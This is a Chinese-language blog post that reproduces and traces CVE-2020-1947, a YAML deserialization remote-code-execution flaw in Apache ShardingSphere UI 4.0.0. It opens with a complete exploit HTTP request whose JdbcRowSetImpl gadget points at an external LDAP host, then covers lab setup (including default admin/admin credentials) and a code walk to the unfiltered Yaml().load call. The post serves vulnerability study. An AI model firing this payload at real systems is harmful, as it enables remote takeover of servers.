• CVE-2020-1947: Apache ShardingSphere&UI 漏洞复现分析


    首先给出网上的poc:

    POST /api/schema HTTP/1.1
    Host: 127.0.0.1:8088
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:73.0) Gecko/20100101 Firefox/73.0
    Accept: application/json, text/plain, */*
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type: application/json;charset=utf-8
    Access-Token:你的登陆后的token
    Content-Length: 582
    Origin: http://127.0.0.1:8088
    DNT: 1
    Connection: close
    Referer: http://127.0.0.1:8088/
    
    {"name":"CVE-2020-1947","ruleConfiguration":"  encryptors:
        encryptor_aes:
          type: aes
          props:
            aes.key.value: 123456abc
        encryptor_md5:
          type: md5
      tables:
        t_encrypt:
          columns:
            user_id:
              plainColumn: user_plain
              cipherColumn: user_cipher
              encryptor: encryptor_aes
            order_id:
              cipherColumn: order_cipher
              encryptor: encryptor_md5","dataSourceConfiguration":"!!com.sun.rowset.JdbcRowSetImpl
      dataSourceName: ldap://.com/CommandObject
      autoCommit: true"}

    前期准备:

    docker——zookeeper

    incubator-shardingsphere的二进制文件或者src源码4.0.0.版本

    https://shardingsphere.apache.org/document/current/cn/downloads/

    启动docker-zookeeper

    docker pull zookeeper

    docker run -d -p 2181:2181 --name one-zookeeper --restart always bbebb888169c

    进入docker exec -it bd5f8ddd6d6e bash 运行./bin/zkCli.sh  检查zookeeper是否正常。

    当显示welcome的时候,表示运行正常。

    然后运行在二进制的bin目录下的 start.sh文件里多加一些内容。

    JAVA_OPTS=" -server -Xmx1g -Xms1g -Xmn512m -Xss256k -XX:+DisableExplicitGC -XX:+UseConcMarkSweepGC -XX:+CMSParallelRemarkEnabled -XX:LargePageSizeInBytes=128m -XX:+UseFastAccessorMethods -XX:+UseCMSInitiatingOccupancyOnly -XX:CMSInitiatingOccupancyFraction=70 -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005"

    -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005  增加这一段,表示idea开启debug到5005端口

    然后运行启动

    打开127.0.0.1:8088,默认账号密码:admin/admin

    注册docker的zookeeper的地址

     选择激活

    然后发送最上面的poc,将在dnslog上收到dns记录。

    jndi的利用方式就可以了,poc代码像fastjson的反序列化链。所以本质也是一个反序列化的过程中,触发了漏洞。修复当然也是对反序列化的实例的类进行白名单验证。


    接下来是漏洞原因分析

    根据mvc的框架的经验,找到控制器Controller类。

    /java/sharding-ui-bin/lib/sharding-ui-backend-4.0.0.jar!/org/apache/shardingsphere/ui/web/controller/ShardingSchemaController.class

    在43处打断点

        public ResponseResult addSchema(@RequestBody ShardingSchemaDTO shardingSchema) {
            this.shardingSchemaService.addSchemaConfiguration(shardingSchema.getName(), shardingSchema.getRuleConfiguration(), shardingSchema.getDataSourceConfiguration());
            return ResponseResultUtil.success();
        }

    进入addSchemaConfiguration函数,在实现ShardingSchemaService接口的ShardingSchemaServiceImpl类里,

        public void addSchemaConfiguration(String schemaName, String ruleConfiguration, String dataSourceConfiguration) {
            this.checkSchemaName(schemaName, this.getAllSchemaNames());
            this.checkRuleConfiguration(ruleConfiguration);
            this.checkDataSourceConfiguration(dataSourceConfiguration);
            this.persistRuleConfiguration(schemaName, ruleConfiguration);
            this.persistDataSourceConfiguration(schemaName, dataSourceConfiguration);
        }

    代码很简单,感觉就这几行代码里就跟到了。根据已有的dataSourceName,猜测触发的地方应该是

    this.checkDataSourceConfiguration(dataSourceConfiguration);
    this.persistDataSourceConfiguration(schemaName, dataSourceConfiguration);
    

     里。通过变量值也能看到dataSourceConfiguration里含有poc的代码。

    跟踪第一个checkDataSourceConfiguration。

    进入checkDataSourceConfiguration函数,看下代码

        private void checkDataSourceConfiguration(String configData) {
            try {
                Map<String, DataSourceConfiguration> dataSourceConfigs = ConfigurationYamlConverter.loadDataSourceConfigurations(configData);
                Preconditions.checkState(!dataSourceConfigs.isEmpty(), "data source configuration is invalid.");
            } catch (Exception var3) {
                throw new IllegalArgumentException("data source configuration is invalid.");
            }
        }
    
    

    ConfigurationYamlConverter.loadDataSourceConfigurations(configData);看函数名是加载配置data。configData的值是:

    进去跟进loadDataSourceConfigurations

        public static Map<String, DataSourceConfiguration> loadDataSourceConfigurations(String data) {
            Map<String, YamlDataSourceConfiguration> result = YamlEngine.unmarshal(data);
            Preconditions.checkState(null != result && !result.isEmpty(), "No available data sources to load for orchestration.");
            return Maps.transformValues(result, new Function<YamlDataSourceConfiguration, DataSourceConfiguration>() {
                public DataSourceConfiguration apply(YamlDataSourceConfiguration input) {
                    return (new DataSourceConfigurationYamlSwapper()).swap(input);
                }
            });
        }

    YamlEngine.unmarshal(data);这块,

        public static Map<?, ?> unmarshal(String yamlContent) {
            return (Map)(Strings.isNullOrEmpty(yamlContent) ? new LinkedHashMap() : (Map)(new Yaml()).load(yamlContent));
        }

    非空的话,yaml().load就yamlContent。

    那就没问题了,没有任何过滤,那就是yaml反序列化导致的rce。

    yaml反序列化话可以学习一下这篇文章。https://zhuanlan.zhihu.com/p/84957848

    也可以用marshalsec.SnakeYAML生成poc。注意poc合适,snakeYAML对空格什么的格式很敏感。

  • 相关阅读:
    洛谷 AT2000 Leftmost Ball
    洛谷 P1326 足球
    洛谷 P4868 Preprefix sum
    洛谷 P2596 [ZJOI2006]书架
    HDU 3415 Max Sum of Max-K-sub-sequence
    洛谷 P3901 数列找不同
    洛谷 P3609 [USACO17JAN]Hoof, Paper, Scissor蹄子剪刀…
    洛谷 P5749 [IOI2019]排列鞋子
    验证码解决表单重复的原理
    session和浏览器之间的技术内幕
  • 原文地址:https://www.cnblogs.com/ph4nt0mer/p/12469473.html
Copyright © 2020-2023  润新知